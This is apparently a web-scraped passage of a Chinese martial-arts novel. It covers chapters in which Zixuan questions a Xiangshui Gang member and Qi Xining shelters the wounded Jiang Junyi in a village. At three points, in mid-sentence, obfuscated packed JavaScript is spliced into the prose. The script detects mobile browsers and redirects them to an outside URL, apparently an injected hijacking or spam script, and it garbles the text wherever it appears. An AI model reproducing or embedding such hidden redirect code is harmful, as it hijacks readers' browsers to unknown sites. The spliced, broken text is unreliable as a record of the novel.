“一问三不知,当我是傻子不成!”紫璇将剑尖抵在他的心口上,厉声道:“那你身上的衣服那里来的?” 何富想用手去扒拉紫璇的剑又不敢,于是两只手无谓的上下挥舞,同时仍旧嘴硬着:“我真的不知道,这衣服也是掌柜的给我,叫我穿上的。” 韩仲昌在一旁看着,突然发现了什么,一把抓住他的左手,将袖口翻上去,他的手臂内侧便漏出一个“水”字,紫璇不明所以,立马凑上前去看。 “你是响水帮的人?”韩仲昌扭着他的手臂将字送到他面前。 何富脸色大变,即使没有说话,也已经道出了答案。 “响水帮,”紫璇切齿冷笑,“原来响水帮也投靠了倪家庄。” “如果我们没有拦下你,你打算一直去往淮阴吗?”韩仲昌问。 紫璇将剑往前进了一寸,何富跟着高喊了一声。 “问你话你就说,别忘了说实话!” “是是是,我说,我说,求女侠饶命!” “你在响水帮是何阶何职?” “小的是山阳分舵的帮众。” “何时因何事到了无锡?” “三天前,帮主要小的到无锡传递消息,其余的小的并不清楚。” “传递什么消息?和谁联络?” “这个小的也不清楚。帮主只是休书一封叫我交给那家店的掌柜的,具体上面说了什么我也不知道。” “要是我们没拦下你,你准备往哪儿去?”韩仲昌见紫璇陷入思绪,似乎有一些情况,便替她发问。 “我……我哪儿有什么打算,是掌柜的……他让我速去宿州分舵。说那里会有人接应……”他偷偷瞄了一眼离自己胸口不到半寸的剑身,闭了嘴。 “宿州?你们响水帮的分舵?”紫璇接着问。 “对对。” “去哪里做什么?” “不知道,小的真的不知道,我只按掌柜的吩咐行事。” 什么都问不出来,紫璇气极,将剑猛地拍在他身上,何富吃痛,捂着心口扑倒在地。 韩仲昌将人打晕,走到她身边:“接下来怎么办?” 紫璇心如乱麻,仍在头脑中反复盘算着何富刚刚说的那些话。 “你说,幕后之人叫他扮作吴宏,所为何来?”她问。 韩仲昌摸了摸下巴,思索着:“他们一定是发觉了我们在跟踪吴宏,所以才故意迷惑我们,为了是让我们找不到真吴宏的所在。” 紫璇缓慢而机械地点头,突然又停住:“会不会太单纯了?” “单纯?”韩仲昌不解。 “如果只是为了隐匿吴宏,他们大可以让吴宏躲在店内,又或是用其他的手段悄悄将人送走。那样吴宏还是能在我们的眼皮子底下消失,让我们抓不到半点线索,可现在……” “现在却故意让我们知道他要去接应的地方……” “对,虽说他是被我们逼问才说出宿州这么个地方的,可是……你不觉得有点刻意吗?” 韩仲昌没有说话,在心里把刚才的对话又捋了一遍,也觉得她说的极有道理:“那你觉得,他们这样做的目的是什么?” “如果我们没有中途发现吴宏被掉了包,就一定会跟着他去宿州……” “……宿州是响水帮的势力范围,”韩仲昌接上她的推测,“说不定他们已经在那儿埋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306533|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伏好了人,等我们上钩一举拿下?” 紫璇仍觉得哪里不对:“干嘛要这么麻烦呢?无锡前去宿州,上千里的路,为何不就近解决了我们?” 确实,这一点很难解释,两个人冥思苦想皆没有什么结论。最后,紫璇才说:“也有可能只是我想得太多了。他是响水帮的人,回宿州本来也很正常。幕后之人只是想引开我们,好让吴宏神不知鬼不觉地逃走。” “如果是这样,那我们就等等文渊他们的消息吧。” 昨夜眼看着吴宏上马要走,紫璇留了个心眼,让瑾瑜和陆文渊再多观察店中的情况,只自己和韩仲昌追了上去。如果他们猜得不错,陆文渊和瑾瑜肯定能发现真吴宏还在那里,如果他有任何动静,他们应该也能继续探查。 两人一天一夜没有合眼,连一口水都没喝,如今线索已断,只能先找个镇甸休息吃饭。何富被他们绑在马上,一起带到了客店。 吃过饭,紫璇仍然忧心忡忡。虽然自己沿途都留下了他们事先约定的记号,可瑾瑜和陆文渊能不能找到记号,或吴宏是不是又耍了什么花招,但凡这其中有一点差池,原本周密的计划都有可能毁于一旦。 韩仲昌却十分淡定,反倒劝解频频站起又坐下的紫璇:“急了也没用。没用的事情不如不做,还省些力气。” 紫璇无心理会他,他又道:“这是师父常常对我说的话。在他的眼中,任何的忧愁、焦虑乃至愤恨都是没有必要的。” 紫璇这才找回些许平静,坐了下来。是啊,事情已经发生,有再多的情绪只会添乱,毫无益处。 这句话竟然凑了效,连韩仲昌自己都不由得惊讶:“你信他的?” “为何不信?你说出来不就是让我信服的吗?” 韩仲昌露出些微笑意:“我就是刚好想起他这么说过。” 紫璇心下稍定,但还是没忍住又去审问了何富一番,然而他的答案和之前无异,并无丝毫破绽。 她思虑再三,对韩仲昌道:“就算宿州是个陷阱,可要是我们不去,又如何能够知道他们到底打得什么算盘呢?” “你想怎么做?” “将计就计,去响水帮的宿州分舵看看。” 韩仲昌没有反对,只是说:“今日不早了,我么先休息一晚,明日出发也不迟。” 紫璇笑道:“那当然。他们如果真等着我们上门,肯定也不会急在这一两天,不是吗?” 第二天两人买了马匹带着何富一同赶往宿州,却在宿州城外遇上了瑾瑜。他神色焦急,看到紫璇的第一句话居然是:“紫瑛姑娘被响水帮的人抓了!” 紫璇大惊,却还是尽可能冷静下来,让他说清楚这到底是怎么回事。 前天夜里,瑾瑜和陆文渊一个人守在屋顶,一个人守在后门,终于在紫璇二人离开约一顿饭功夫之后,再次看到吴宏出现。两人虽然惊疑,但仍旧不动声色地跟上了他。吴宏乘马出城,一路向北,几乎走了和何富一样的路线,只是未到高邮便转而向西,继续往北走,最后停在了宿州,进了州城里的一家店面。一如在无锡的时候,直接走的后门。 瑾瑜和陆文渊蹲守了大半天,也不见他出来。两人便商量一人继续留守,另一人出来找紫璇。可就在这时,他们遇上了阮云飞和她的弟子,还有江珺翊和齐熙宁。 这个组合大出两人意外,一问之下才知道,紫瑛被人掳走,江珺翊合齐熙宁沿着紫瑛留下的记号一直追到了宿州附近。阮云飞是他们搬来的救兵。 “我听了这些便立刻来寻你们了,详细的情况还要从珺翊兄那里得知。” “那我们现在就走!”紫璇一刻都不想等,语气中难以掩饰的急迫。 115. 替身(二) 紫瑛如何被掳,江珺翊又是如何与齐熙宁相遇的,这一点要弄清楚,时间需得倒回到十日之前。 ******************* 江珺翊骑在马上,神情紧绷,右手还按着剑,对另一匹马上的贺新韵道:“前面便是太岳山了,一侧河谷、一侧高山,最易埋伏,你可准备好了?” 贺新韵面不改色,但从眼睛里露出胆怯:“我害怕。” 江珺翊点了两下头算是安慰,眼睛仍瞧着远处起伏的山峦,似乎期待着从这么远的距离就能发现一两个隐伏在山间的人。 “他们不会轻易对你下杀手,一旦遭遇,你只管跑,能跑多远跑多远,明白了吗?”江珺翊做了最后的嘱咐。 贺新韵勉强点了几下头,也随着江珺翊的眼光朝山上看去,然后深吸了一口气:“走吧。” 两人催动马匹,缓缓沿着汾水向北。果然不出所料,两人刚刚行至山下,无数石块便从山腰处落下,紧接着五十来个持刀之人从半山上冲下来,立刻就将两人分别包在两个圈子里。 贺新韵本想纵马逃跑,但刚刚启动,所乘的马儿就被一块大石头砸中头颅,马儿嘶鸣一声倒地不起,连带着她也被甩到了地上。她挣扎起身,取出随身兵器和意欲靠近自己的人斗在了一起。来人武功不高,但配合得当,贺新韵刚刚击退一个,另一个立马补上,如此下去,被擒只是迟早的事情。 江珺翊长剑出手,瞬时间放倒了十数人。围住他的圈子很快被打开缺口,江珺翊纵跃而出,与贺新韵内外夹击,攻守配合,不多会儿就干掉了一半敌人。 时机成熟,江珺翊立刻冲入核心,单手扶住贺新韵的臂膀,将她带离地面,两个起落之后将她放在了自己刚刚乘骑的那批马上。 贺新韵的身体刚刚触到鞍鞯,围攻地人立刻涌了上来。江珺翊即刻翻身再战,无论如何也要为贺新韵清出一条路来。只见他挥剑横扫,左右砍杀,往往一招便能解决三四人。贺新韵居高临下,也能捡着离自己较近的一两人猛戳他们的眼睛。 江珺翊使出全力,一剑杀死了两个持刀堵在马前的人,又砍伤了三个意欲砍断马腿的人。前方正好空出一点缝隙,他猛地一拍马肚,马儿受惊立刻向前跑出。围攻的人马上就围拢过来,他冲在马前,以极快的速度刺向所有靠近之人。这些人一个摞一个地倒下,马儿把他们当做路障,轻轻跃起便往前冲。 江珺翊力有不逮,稍稍迟钝了一下,围攻的人再次抢上,给了他后背一刀。他忍住痛苦,转身将击中自己的人劈成两半。两侧的人同时攻到,他只避过了右侧的人,左侧腰腹又中了一刀。他越杀越凶猛,但凡靠近他的人,虽然能伤到他,但也不免被他打中要害甚至立刻丧命。 面对发了狂的江珺翊,仅剩的十来个人难免发憷。但他们想起上封的命令,并不敢退却,只好稍稍减缓攻势,将其围在核心,一下又一下的挑衅,盼着他力气用尽,然后就能抓住他交差。 江珺翊拼着最后一口气,将手中长剑舞出耀人眼目的剑花,又扫到了两个人,这两人立刻闪避,只受了小伤,保住了性命。他因着惯性又去攻击右侧的人,可出剑明显比刚才慢,手腕也不如一开始听使唤。 他根本无暇顾及远处,只有在心中默默祈祷贺新韵能支撑地久一些,千万不要立刻就被敌人擒获,眼前敌人离自己越来越近,他强撑着睁大眼睛,聚集起全部的精力应对,却还是在接连两次中刀后倒了下去。 远处喊杀声逐渐逼近,同时似乎还有个女子在叫他。 “别回来!”他已经没有力气张嘴,只在心里大喊,“不要管我!你的任务是跑,能跑多远就跑多远!” 无数个黑影涌了过来,他昏了过去。 江珺翊最后看到的黑影并非围攻之人的帮手,而是长风镖局的镖师。长风镖局副总镖头冉宗杰他带着镖队正往太原府而去,刚刚进入山坳就听到喊杀之声。镖队中唯一的女子,齐建霄的女儿齐熙宁听着不对,对他道:“冉叔叔,那边好像在杀人。” 冉宗杰是个谨慎之人,立刻让镖队停在原地,自己带了几个人打马上前。齐熙宁不想被落下,也跟在后面。奔到近处时,她马上认出被围攻的人是自己在武林大会上见过的文远骥徒弟,便大喊着告诉冉宗杰,请他务必把人救下。 其实江珺翊最后听到的,便是齐熙宁的声音。 “江珺翊!江珺翊!” 他再次睁开眼睛时,齐熙宁仍然在唤他的名字。 “你终于醒了!”齐熙宁就守在他的床边,见他苏醒,开心不已。 江珺翊神志模糊,只能意识到眼前的这个姑娘年纪很小,自己并不认识。 冉宗杰上前来,摸了摸他的脉象:“身子还很虚。他失血太多,又独个儿对付那么多人,脱了力,不躺个两三天起不来。” 他转头对齐熙宁道:“送镖不能延误,我们已经在此耽搁了一天了,明天一早无论如何也得上路。” “咱们家镖队一路上不能住客栈,这样颠簸不断,他哪儿能受得了。”齐熙宁明白他的意思,却很踌躇。 冉宗杰摇了摇头,看着床上还不太清醒的年轻人:“也不知道天魄门到底得罪了谁,下这般黑手。他功夫再好,毕竟年纪小、内力潜,一个人可经不起这么多人同时攻击啊。” 在他感叹的功夫,齐熙宁已有了决断:“冉叔叔,让我留下来照看他吧。他受伤不轻,头两天最好不要挪动,带他上路定然不行。可他的身边也需要人照顾,我反正是跟你出来玩的,你继续去走镖,我在这里好了。” 冉宗杰想了想,又道:“这样是最合适的法子。但是,恐怕要杀他的人会去而复返,他受了伤,你一个人怎么对付得了?” “那也没有更好的办法了,要是真遇上了我再想办法。” 冉宗杰又思考了一会儿,最后道:“我把一些趁手好用的武器留给你,能帮你多抵挡一阵子。剩下的就得靠你多动脑筋了。” “我晓得的,你放心吧。能不和他们正面对上最好,即便遭遇了我也能保全自己。” 齐熙宁是冉宗杰看着长大的,胆大心细,鬼主意很多,出门在外很少吃亏。若放在平常,她如果要独个儿出行,自己也不会拦着。只是这次拖着一个伤重之人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328357|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风险难免要大一些。但是他并没有再说什么,以齐熙宁的脾气,决定了就很难改变,连齐建霄都奈何不了。且他也相信以她的本事至少也可以自保。 第二天清晨天不亮,冉宗杰就去与停驻在镇外的镖队汇合,继续向北进发。中午的时候,江珺翊终于彻底醒过来,能够说一两句话了。 齐熙宁向他介绍自己:“你可能还不认识我。我爹爹是齐建霄,我在襄阳武林大会上见过你。” “你救了我?”江珺翊依旧虚弱。 “对,准确的说是长风镖局的副总镖头冉宗杰带人击毙了那些试图杀死你的人。” 江珺翊轻皱了一下眉头,还不是很明白。 齐熙宁便展开说道:“我们去太原送镖,和你们走的是同一条路,哪些人围攻你的时候正好被我们撞见。我认得你是谁,就请冉叔叔务必救你。” “谢谢。”以他的力气,最多也只能说出两个字。 又修养了一日,有长风镖局的金疮药和齐熙宁出钱让客店小二去镇上药铺抓来的补血益气的汤药,江珺翊的气色好了不少,脑子也比之前清楚,可以多说一会儿话了。 他想起来的第一件事,便是已经失去消息两天的贺新韵,哦不,应该说是紫瑛,他挣扎着想起身,被齐熙宁按住,告诫他再紧要的事情也需先把身体养好。 江珺翊这才着急地说起整件事的经过。 紫瑛扮作贺新韵的模样,由他护送去往西河,实际上乃是天魄门布下的疑兵,他们在明吸引敌人注意,真的贺新韵则和阮云飞、谭修明一道暗中赶赴西河本家。 月前,天魄门已悄悄将贺新韵之父贺永诏曾陪同苏明启一同寻找宝藏,是当时唯一知晓藏宝之地的人这一消息散播了出去,很快便在江湖上掀起暗涌,有不少人结成队伍,齐上贺家庄寻找线索。天魄门料想,真正的幕后黑手一定会先发制人,除先人一步赶赴贺家,还会留意天魄门的动向。 贺新韵身为贺永诏的女儿,如果贺永诏真的留有什么遗物,由她出面最为顺利成章。太白山上,她在那些前来逼宫的旧属面前露了连,若这些势力之中的确有人与魏菘泽暗中有所联系,那么魏菘泽必然会设法拿住她,从而在抢夺藏宝图上占据先手。 江珺翊断断续续地将这些告诉了齐熙宁,齐熙宁这才明白那伙人围攻他们的目的,和他明明单枪匹马还要硬闯出去的原因。 “这位紫瑛姐姐真是勇敢。”她赞叹道。 江珺翊艰难地扯着嘴角:“是吗,她上前的时候,可是叫着‘害怕’呢。” “那她就更加勇敢了。明明害怕,可为了达成目的还是硬着头皮上了,不比那些本就天不怕地不怕的人还要勇敢一些吗?” 江珺翊想想她说的也有道理,却无法向她那样欣快:“不知道她现在怎么样,有没有被抓住,有没有被拆穿。” 齐熙宁也收起笑容,分析道:“他们抓人的目的,是打算将她作为人质送往贺家庄,就算紫瑛姐姐没能跑出他们的包围,只要她一直不被识破,就应该不会受到伤害。” 江珺翊咬咬牙撑住身子:“可是就怕万一。” 116. 庇护(一) 敌人比想象中来得要快。 齐熙宁将抓来的药交给客店的小二代煎,警觉如她,很快便发现客店内有一个假作歇脚实则鬼鬼祟祟四处张望的人,还有一人正在和小二咬耳朵,服色与当日在太岳山脚伏击江珺翊的人相同。 行迹已经暴露,一旦等他们打探清楚再约齐同伴,只怕立刻就会冲到客房将江珺翊拿下。齐熙宁当即不动声色地返回房间,边走边留意了一下客院中的情形,很好,暂时没有多余的人。 “有人追来了,我们要赶快走!”回到房间,她扔下一句话立马就开始收拾包袱,江珺翊也随之忍者疼痛披上外衣,拿起剑准备御敌。 然而齐熙宁并不打算硬拼。她打头阵在前,溜到院中马厩解下一匹骡子栓到店家刚刚卸下的板车上。江珺翊一看便知她的意图,在她翻身跨上骡子的同时,稍稍踮脚,坐在了车后。 “乖骡子,靠你了!” 齐熙宁猛地拍了一下骡子的屁股,骡子吃痛,鸣叫一声,不管不顾地朝前冲去。齐熙宁操控勒住骡子的绳索,引导它冲向后门。店家听见叫声立刻跑了出来,但也只能最后瞥见一眼自家骡子的影子。与此同时,店家惊慌的喊叫把正在前面正堂当中蹲守的人也被他引了过来。 齐熙宁在大路上横冲直撞,也不管打翻了多少东西,踢倒了多少人,只要能尽快甩掉追兵越好。然而事与愿违,她们奔出市镇时,身后的人不仅没有少,还增加了好几个。还好敌人反应地慢,又因为没有马匹,暂且到不了眼前,伤不到他们,但越往后越不好说。 板车颠簸,齐熙宁驾骡子又极不温柔,江珺翊开始还能忍着,后面伤口崩开,他也顾不上许多,唯有卧倒并奋力扒紧身下板车才不至于掉下去。 野外无人,齐熙宁不断催着骡子快跑,自己则瞅准时机,借着骡背用力,从上面翻了过来,变成骡子向前她向后。继之掀开袖笼,露出袖箭,刷刷刷射了三下,后方跟得最紧的三人应声倒下。再三箭,又有三人翻倒。威胁稍解,她再度翻身,继续驾着骡子往前狂奔。 跑了又跑,骡子的速度明显慢了下来,江珺翊也渐渐不支。前方是一处村社,后面则是重新又补上来的追兵,虽然只有不到十个人,但以齐熙宁的武力必定不容易抵挡,何况还有奄奄一息的江珺翊。 齐熙宁脑子转地飞快,旋即有了主意。骡子往前奔走,她就在其上抓散了头发,扯破了裙子,还把衣服最上面的扣子解开,然后在自己的脖颈中抓了两下,大喊着:“不要!救命!杀人啦!”冲进了村子。 江珺翊趴在板车上,强撑着不让自己晕死过去。突然听到她的喊叫声,再一瞧她的模样,虽则一头雾水,但看她毫不犹豫,似乎胸有成竹,反倒心安不少,手中长剑紧握,预备一旦有变自己可随时出手,紧张之下,背上一阵阵传来的疼痛也变得微不足道了。 叫喊声立刻引来村里人的注意。住在村头的一家最早扛着锄头跑出来,齐熙宁见了立刻翻身下骡,假作惊慌,断断续续地诉说起了“冤情”:州城里恶霸刘四好色,偶然在镇上瞧见了我就欲行不轨,我不从,他就杀了我的父母,伤了我的哥哥。我好不容易抢了别家的骡车带着哥哥逃了出来,如今追兵在后,已无路可逃,求大哥收留。 村中壮丁围拢过来,在她说话时就已经注意她脖子上的红痕以及破烂不堪的衣裳,当下便义愤填膺。最先出来的那户人家道:“欺负一个姑娘,还是不是人?!兄弟们,抄家伙,我看谁敢踏进咱们村一步!” 他在村民之中颇有威信,只招呼了一声,村中壮丁都带着武器汇聚到了村口。跟着板车而来的人刚踏进村子还没有三步就被这番汹汹的气势逼着退了出去。 “得罪得罪,我们要找个人。”为首之人赔笑道。 “我管你找谁,滚!” 来人不好强硬,仍试探着问道:“刚才有个姑娘,带着一位受了伤的男子闯了进去,她们得罪了我家主人,我……” 村里人一听,那女子所言果然不假,看向来人的眼神越发恶狠狠:“滚!你家主人不醒事,你们也没有脑子!?做这种腌臜脏事,不怕死了被恶鬼追索吗?!趁爷爷我脾气好,趁早滚开,教你家主人少打别家闺女的主意,你们几个也做件好事积点德吧!” 说话之人身后站着数十个扛着锄头镰刀的年轻人,来人只有十个,若遭遇起来必然血流成河。这里毕竟是官府辖下,他们不敢硬闯,只好暂时收兵。 眼看着那伙人灰溜溜地离开,村里领头那人的气这才顺了,又向本村壮丁道:“这两日守村的时候,我们都警醒些。” 其余人纷纷点头。 “鹰儿,人都安顿好了吗?” 领头人归家,还没放下锄头就冲着屋里喊。 他的老婆掀开门帘:“不太好,他哥哥流了好多血,快要撑不住了。” 男人立刻进屋,彼时齐熙宁已经换上了主人家的粗布衣裙。 “我叫鲁强,村里人都喊我强子哥。”男人对她说,“人已经叫我们赶跑了,你不用怕。”又赶忙来到江珺翊身边,看了两眼他的伤口,皱眉道:“这伤的也太厉害了,需要赶紧止血才行。” 齐熙宁又何尝不知道这一点,可是冉宗杰留给她的金疮药本就有限,如今也已经用得见底了。虽然鲁强哥大哥带人帮她吓唬住了那些人,可难保他们不在村外继续守着。出不去这个村子,要到哪里搞来止血的药呢。 她正在搜肠刮肚回忆走南闯北时听来的有关止血治伤的知识,鲁强哥却先于她说了出来:“山上有蓟草,捣碎了敷在伤口上,好得快着呢,我们这的人偶尔被镰刀割伤了都用它。不过你哥哥伤的很重,不知道管不管用。” “管用的!”齐熙宁喜道,她也听过这种草药的功效,江湖人若伤后即刻没有伤药,若能寻到蓟草也可管大用。 鲁强哥见她喜笑颜开,也跟着憨笑道:“那行,我找几个人去山上采点。”又嘱咐自己的老婆,“你们把窖里的杵臼取出来,洗涮赶紧,我们得赶快给他用药。” 他的老婆同样是个爽快人:“还用你说,你赶紧去!” 鲁强哥又憨憨笑了两声,取了背篓立即出门。 齐熙宁向他老婆道谢,却被她一把拉住:“谢什么,你哥哥都伤成这样了,是个人看见了都不忍心。”又拒绝了她想要帮忙的表示,“你就在这儿守着,他这会子离不了人。我先去烧热水,他醒了肯定要喊渴。” 齐熙宁再次谢过,心中大石总算是放下了一点儿。 江珺翊此刻已然晕了过去,趴在床铺上,背上都是血。额头上冷汗不断,全靠齐熙宁一点一点给他擦去。 鲁强哥老婆烧好水,擦好杵臼进来,还拿了一壶酒,准备帮江珺翊脱掉血衣,再擦一擦血迹。 “我扶着他,你来帮他脱衣服。”她叫齐熙宁。 齐熙宁的脸不由得泛起红晕,被鲁强哥老婆看见,不解道:“这有什么?他是你亲哥,看看又不吃亏。” 齐熙宁点点头,按照她说的去扒江珺翊的衣服。一路上他流了许多血,衣服和伤口粘连,她尽可能地小心,却还是不免让江珺翊痛得清醒过来一瞬。 等了不长时间,鲁强哥带着几个弟兄一起回来,背上是成筐的蓟草。他们就在院子里将其捣成一碗一碗的碎末,稍稍挤掉一些多余的汁水,便交由她们,一点一点地敷在了江珺翊的伤口之上。 一番辛苦过后,血终于止住,江珺翊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338016|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也煎熬不住沉沉睡去,几位好心之人脸上听说自己的辛苦凑了效也不禁露出心满意足的笑。齐熙宁出去向帮忙的几个大哥道谢,他们都腼腆得不得了,赶忙说了几个“不用谢”便告辞离去。 鲁强哥则咧嘴笑道:“都是实在人,你且宽心。” 鲁强哥的爹原来是村里的里正,处事刚正,在村里久有贤名。年头上刚刚故去,如今新的里正还没有定,村中若有大事,都是他带着村民一起商量。 他的老婆是山上猎户出身,爽朗爱笑,原来的名字叫做“燕儿”,她嫌弃这个名字太过小气,自作主张改成了“鹰儿”,取遨游天际的猎鹰之意。她平日里不时会上山去打些野味来给家里改善伙食,讲起打猎的事也总是绘声绘色的,齐熙宁觉得新鲜又有趣,便也想上山试试身手。 他们育有子女两个,大女儿已经嫁人,在镇上住,偶尔会回娘家来。小儿子才十岁,鲁强哥想让他读书应举,便将他送到了镇上的学堂,两三个月才能回来一次。因此小家里常常只有他们夫妻二人。齐熙宁是个爱说笑的性子,说话也没有什么忌讳,总能逗得鹰儿姐和鲁强哥哈哈大笑。 村里人每日都会来串门,齐熙宁嘴甜,满口哥啊姐啊叔啊婶啊叫着没停,大家都很喜欢她。对于她的“凄惨遭遇”也就更加同情,纷纷安抚她不用怕。还说等他哥哥好了,安葬了父母,以后就在村里落脚,有他们帮衬,不怕日子过不好。 齐熙宁心里感激,但因为这些都是扯谎,对于村民们的好意她也只能听着,从不多说一句,毕竟说多错多,还是笑一笑装羞涩比较容易。 鹰儿姐带她上山打猎,她虽然不能露出功夫,但毕竟习过武,身手比一般人敏捷,连猎网都没用,仅凭套索和弓箭就抓了满满一手猎物,野兔和飞禽都有。鹰儿则利用山中旧有的陷阱捕了一头野猪。 收获远超预期,两人满心喜悦,下山叫人时齐熙宁对鹰儿说:“我想把我猎的那些给每家每户都送一点,感谢大伙儿前几天帮我赶走那些坏人,还有帮忙救我哥哥。” “应该的。还有那头野猪,我们一家子也吃不完,等会叫鲁强杀了,也给大伙儿分一分。” 村民们领了肉,纷纷向鹰儿姐道谢,她却指着齐熙宁,点出这都是她的主意,继而又对她的身手赞不绝口。隔壁鲁婶兴头上还不住地篡夺齐熙宁拜鹰儿为师,以后就是这村里的人了。齐熙宁也大笑着说好,然后又把话题岔了开去。 江珺翊的伤口渐渐愈合,刚刚能下地出门,就看到齐熙宁和周围人有说有笑,仿佛和每个人都很熟稔的样子。以他严谨又腼腆的性子,实在想不通她是如何办到的,不禁多看了几眼。齐熙宁眉眼弯弯,笑容灿烂,兴致上来还会抱住鹰儿的臂膀笑得前仰后合。 江珺翊家教极严,父亲一向严肃,母亲虽然温柔体贴,却很少和他说笑。这样热闹雀跃的景象他从来都没有体味过。只这样远远的看着,江珺翊的嘴角也不由得弯了,不过他自己可能还没意识到。 他在晕倒之前,听到了齐熙宁对村里人的说辞。两人独处时,他提起此事还颇有些愧疚:“都是为了救我,才叫你受这种委屈。” 齐熙宁却不以为意:“这有什么?事急从权罢了。不借个惨一点、容易得人同情的说头,我们俩怎么能活下来。” “可……可毕竟事关女儿家的贞洁……你不怕这里的人议论吗?” “怕什么,别说我没有失身,不过是顺嘴扯谎。就算我真得遭遇不幸,那错的也是害我的人。别人如果说我的不是,何异于助纣为虐?要是有人敢议论我,我就敢骂回去。” 她这般做什么都理所当然的模样,再一次让江珺翊大开眼界,原来世上还有这样的女孩子。 117. 庇护(二) 这日,鲁强哥的大女儿回家省亲,看见许多带着刀兵的人守在村外的道路上,一路胆战心惊地快跑进村。 鲁强听了就要叫人打出去,却被齐熙宁拦了下来。敌人既然已经约齐了同伙,还带着兵器,说明已经起了杀心。只不过碍于官府威势,不敢在村里造次。一旦他们出了村子,远离人群,就可以一拥而上、为所欲为了。齐熙宁可不想在这个时候和她们硬碰硬,以免带累这里的人。 一个时辰之后,齐熙宁换上了鲁强哥女儿的衣衫,将头巾拉低,拎着她来时垮着的篮子,被鲁强哥和鹰儿姐殷切地送出了村子。果如她所说,村外不远处的道路上,蹲守了十来个拿刀的武夫,服色与当日追捕自己的无异。她目不斜视,自然地走过这些人,加上还有“父母”相伴,丝毫没有惹人怀疑。 到了镇上,她先去药铺买了一些可以携带的伤药,又去马行选了两匹脚力还行的马。马行的人见她衣着朴素,出手却很大方,便好奇她买马的用处。 她便顺势又撒了一个谎,说父母得病死了,只有她和一个得了重病的哥哥,准备去投奔外地的亲戚,看能不能给哥哥找个好大夫。这才拿出家中全部的财产,又备好路上暂时要用的药——她掀开篮子上的布给他看,预备跟哥哥一起上路。她还故意哭得梨花带雨,博得了老板的同情,让他同意将马先寄存在这里,稍晚些她再带着哥哥直接来取。 回到村里,她告诉鲁家夫妻俩,自己回家看过了,父母的尸身已经开始腐烂,她于心不忍,需得尽快将他们下葬,正好哥哥身子好了些,想现在就走。鲁强挽留不成,还提出要给他们帮忙,齐熙宁当然不能答应,只说自己村里也有好心人愿意出力,他们俩人不成问题。又拿出一些银两交给鹰儿姐,道:“我家尚有一些积蓄,我取了些,谢谢你们这几日对我们兄妹的照顾。” 鹰儿姐哪里肯收,忙推回她手中,“你们没了爹娘,以后的日子艰难着呢,留着自己使。要是有心,将来多走动便好。” 齐熙宁也知不可勉强,便不客气地将银子揣入怀中,江珺翊也向夫妻俩道过谢,并拿回了自己的剑。关于这把剑,也有个谎话。齐熙宁告诉所有人这是恶霸打手之物,被自己打着胆子捡了,伤了人才有机会逃脱。村民们都很信她,没有人起疑。到了今日要离开的时候,江珺翊便以需要武器防身为由自然地将它带了出来。 村外一直有人守着,如何出去是个大问题。齐熙宁却极有自信:“我从鹰儿姐那儿学来了张弓射箭的法子,准头还不错,一会出去我先射死两个,再骑上骡子跑得快一些,肯定能把他们甩开。” 鲁强哥想助力,再一次被她谢绝:“鲁强哥的好意我心领了,但他们毕竟是歹人,要是你伤了一两个,他们反过来寻仇麻烦可不小。你们最好待在这里,让他们眼睁睁地看着我们走才是最好的。” 鹰儿姐还想说什么,又被她抢了先:“不用担心我,我有办法的。”此时的她和第一天来时柔弱可怜的样子完全不一样,几天相处下来鹰儿姐已经发现她是个主意很大的姑娘,于是只把那日的情形理解为她受了欺负太过慌乱,此刻听到她这样说也就不再多劝了。 不过,她还是从自己的私藏中翻出一件大红色的衣衫,对齐熙宁道:“这是我前年生日的时候,鲁强去镇上扯料子给我做的,身量有些小,颜色又太过扎眼,我一直没敢穿过,连我闺女也没舍得给。我见你来时穿的衣服挺好的,说明你们家不是一般的民户,我的粗布衣衫和你不衬,正好把这件送你,你可别嫌弃。” 齐熙宁上手摸了摸了那件衣服,很是喜欢:“怎么会嫌弃呢,鲁强哥疼老婆,给你买的一定都是好东西,我只是觉得我和哥哥在这儿麻烦了你们那么久,临走时还要再拿吃拿穿的,不太好意思。” “有什么不好意思的,你不也帮我打猎干了许多活儿吗?” 齐熙宁这才将衣服接过来:“那我就不客气了,不瞒姐姐说,我最喜欢的就是红色。” 对此江珺翊却有些担心:“红色在人群里太过扎眼,你当真要穿么?”一会他们要逃跑,穿一身红色,不啻于给人当活靶子。 齐熙宁明白他介意的是什么,可并不愿为此妥协:“怕什么,再大的危险也抵不过我就是喜欢红色。” 面对他的任性,江珺翊微微一笑,不再多话。他的伤好了不少,再也不会让齐熙宁独自面对敌人。他掂了掂手上的剑,尽可能打起精神,做好和贼人拼命的准备。 